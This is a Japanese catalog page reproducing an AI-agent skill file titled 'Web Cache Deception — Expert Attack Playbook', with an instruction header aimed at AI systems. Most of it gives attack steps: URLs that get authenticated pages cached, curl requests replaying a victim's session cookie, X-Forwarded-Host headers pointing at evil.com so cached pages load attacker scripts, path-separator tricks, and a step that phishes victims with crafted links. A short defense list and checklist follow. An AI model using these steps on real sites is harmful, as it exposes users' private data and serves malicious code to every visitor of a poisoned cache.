web-cache-deception
CDNやリバースプロキシ、アプリケーションキャッシュにおける、パス混乱やキャッシュキー操作によって認証済みの機密コンテンツが他のユーザーに提供される可能性がある場合に使用する、Webキャッシュデセプションおよびポイズニングのプレイブック。
description の原文を見る
>- Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
SKILL.md 本文
SKILL: Web Cache Deception — Expert Attack Playbook
AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
Advanced Reference
Also load CACHE_POISONING_TECHNIQUES.md when you need:
- Web Cache Poisoning vs Web Cache Deception — 明確な区別と攻撃フロー比較
- Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
- Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
- Fat GET cache poisoning (body parameters reflected but not keyed)
- Parameter cloaking via semicolons and duplicate parameter parsing differentials
- CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
- Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities
1. コア概念
Web Cache Deception (認証済みデータの盗難)
攻撃者は被害者にその認証済みページを、キャッシュが静的コンテンツと見なす URL でリクエストさせるようにだまします:
被害者が訪問: https://target.com/account/profile/nonexistent.css
→ アプリケーションが「nonexistent.css」を無視して、/account/profile を提供 (認証データ付き)
→ CDN が .css 拡張子を見て → レスポンスをキャッシュ
→ 攻撃者が取得: https://target.com/account/profile/nonexistent.css
→ CDN がキャッシュされた認証済みコンテンツを提供 → 攻撃者が被害者のデータを読む
Web Cache Poisoning (悪意のあるコンテンツの配信)
攻撃者はキーに含まれないリクエストコンポーネント (ヘッダー、クッキー) を操作して、キャッシュに悪意のあるレスポンスを保存させます:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ アプリケーションが生成: <script src="https://evil.com/js/app.js">
→ キャッシュがこのレスポンスを保存
→ 通常のユーザーがキャッシュヒット → 攻撃者の JavaScript をロード
2. キャッシュデセプション — 攻撃方法
ステップ 1: キャッシュ可能なパスパターンの特定
CDN は通常ファイル拡張子でキャッシュします:
.css .js .jpg .png .gif .svg .ico
.woff .woff2 .ttf .pdf .json (場合によっては)
ステップ 2: パス混淆のテスト
# 認証済みエンドポイントに静的拡張子を追加:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json
# パストラバーサルスタイル:
https://target.com/account/profile/..%2fstatic/app.css
ステップ 3: キャッシュの検証
# 被害者として (認証済み) リクエスト:
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
# レスポンスヘッダーを確認:
# X-Cache: MISS (最初のリクエスト)
# Age: 0
# 攻撃者として再度リクエスト (認証なし):
curl https://target.com/account/profile/x.css
# レスポンスを確認:
# X-Cache: HIT
# 被害者の認証済みコンテンツが含まれている? → 脆弱
ステップ 4: 被害者への配信
フィッシング、メッセージ、または埋め込みを通じて、作成した URL を被害者に送信:
https://target.com/account/profile/tracking.gif
3. キャッシュポイズニング — 攻撃方法
キーに含まれないインプットの発見
キャッシュキーは通常以下を含みます: Host, URL パス, クエリ文字列。
これらは通常キャッシュキーに含まれません: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, クッキー, カスタムヘッダー。
# X-Forwarded-Host が反映されていてもキーに含まれていないかテスト:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# レスポンスに evil.com が含まれていてキャッシュされる場合 → 中毒可能
一般的なキーに含まれないヘッダー
X-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto
X-Original-URL X-Rewrite-URL X-Host
X-Forwarded-Server Forwarded True-Client-IP
Host ヘッダー経由のキャッシュポイズニング
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ レスポンス: <link href="//evil.com/static/main.css">
→ キャッシュ → すべてのユーザーが攻撃者の CSS/JS をロード
4. パス正規化の違い
キャッシュデセプションの鍵: CDN とアプリケーションがパスを異なる方法で正規化
| コンポーネント | 動作 |
|---|---|
| CDN (Cloudflare, Akamai) | 拡張子を含む完全な URL パスに基づいてキャッシュ |
| アプリケーション (Rails, Django, Express) | 末尾のパスセグメントまたは拡張子を無視する場合がある |
| リバースプロキシ (Nginx) | 転送前にパスを削除または書き換える可能性 |
# アプリケーションはこれらを同等に扱う:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css
# CDN は .css をキャッシュ可能な静的アセットとして扱う
→ ミスマッチ = 脆弱性
5. キャッシュポイズニング実世界パターン
X-Forwarded-Host → Open Graph / メタタグインジェクション
# ターゲットページが X-Forwarded-Host を使用してメタタグを生成:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# レスポンス:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# または:
<link rel="canonical" href="https://evil.com/">
# レスポンスがキャッシュされる場合 → すべてのユーザーが evil.com 参照を見る
# 影響: インジェクトされた JS パス経由の XSS、canonical リダイレクト経由のフィッシング、SEO ハイジャック
パスセパレータトリックによるキャッシュデセプション
# セミコロン (一部のフレームワークではパスパラメータとして扱われる):
/account/profile;.css
# エンコードされたセパレータ:
/account/profile%2F.css
# 末尾のドット/スペース:
/account/profile/.css
/account/profile .css
6. 防御
キャッシュデセプション対策
- 明示的に静的なパスのみをキャッシュ (例:
/static/*,/assets/*) - ファイル拡張子だけに基づいてキャッシュしない
- 認証済みエンドポイントに
Cache-Control: no-store, privateを設定 Vary: Cookieを使用してクロスユーザーキャッシュヒットを防止
キャッシュポイズニング対策
- すべての反映されたヘッダーをキャッシュキーに含める
X-Forwarded-*ヘッダーを検証およびサニタイズ- 動的コンテンツに
Cache-Control: no-cacheを使用 - CDN エッジで未知のヘッダーを削除
6. テストチェックリスト
□ CDN/キャッシュレイヤーを特定 (X-Cache, Age, Via ヘッダー)
□ 認証済み API エンドポイントに .css/.js/.png を追加
□ レスポンスがキャッシュされているか確認 (2 番目のリクエストで X-Cache: HIT)
□ パスセパレータをテスト: /x.css, ;.css, %2F.css
□ キーに含まれないヘッダーをテスト: X-Forwarded-Host, X-Original-URL
□ 機密エンドポイントの Cache-Control ヘッダーを確認
□ Vary ヘッダーの存在を確認
□ 認証ありと認証なしでテスト
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。